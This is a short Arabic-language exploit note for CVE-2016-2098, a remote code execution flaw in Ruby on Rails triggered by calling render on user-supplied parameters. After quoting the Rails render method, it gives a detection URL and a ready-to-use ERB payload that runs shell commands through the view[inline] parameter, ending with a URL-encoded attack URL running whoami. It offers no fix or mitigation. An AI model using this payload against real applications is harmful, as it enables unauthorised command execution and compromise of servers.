
ثغرة تنفيذ كود عن بُعد في Ruby-on-Rails عند استخدام render على بيانات مقدمة من المستخدم.
ثغرة تنفيذ الأوامر عن بُعد في Ruby-on-Rails عند استخدام render على بيانات مقدمة من المستخدم.
تأتي هذه المشكلة من استخدام دالة render على بيانات مقدمة من المستخدم.
عادةً ما تُستخدم دالة render لعرض صفحة من قالب، ولكن دالة render تسمح أيضًا للمطورين بعرض نص عادي (plaintext) وحتى كود مضمن (inline).
دالة render:
# File actionpack/lib/abstract_controller/rendering.rb, line 23
def render(*args, &block)
options = _normalize_render(*args, &block)
rendered_body = render_to_body(options)
if options[:html]
_set_html_content_type
else
_set_rendered_content_type rendered_format
end
_set_vary_header
self.response_body = rendered_body
end
الـ URL المستهدف:
http://example.com/?view=test
الاستغلال:
http://example.com/?view[inline]=OK
إذا ظهرت 'OK' في الكود المصدري، فإن تطبيق الويب معرض لثغرة CVE-2016-2098.
<%= %x('[CMD]') %>
يمكننا استبدال CMD بالأمر الذي نريد تنفيذه.
<%= %x('whoami') %>
بعد ترميز URL:
%3C%25=%20%25x(whoami)%20%25%3E
النهائي:
http://example.com/?view[inline]=%3C%25=%20%25x(whoami)%20%25%3E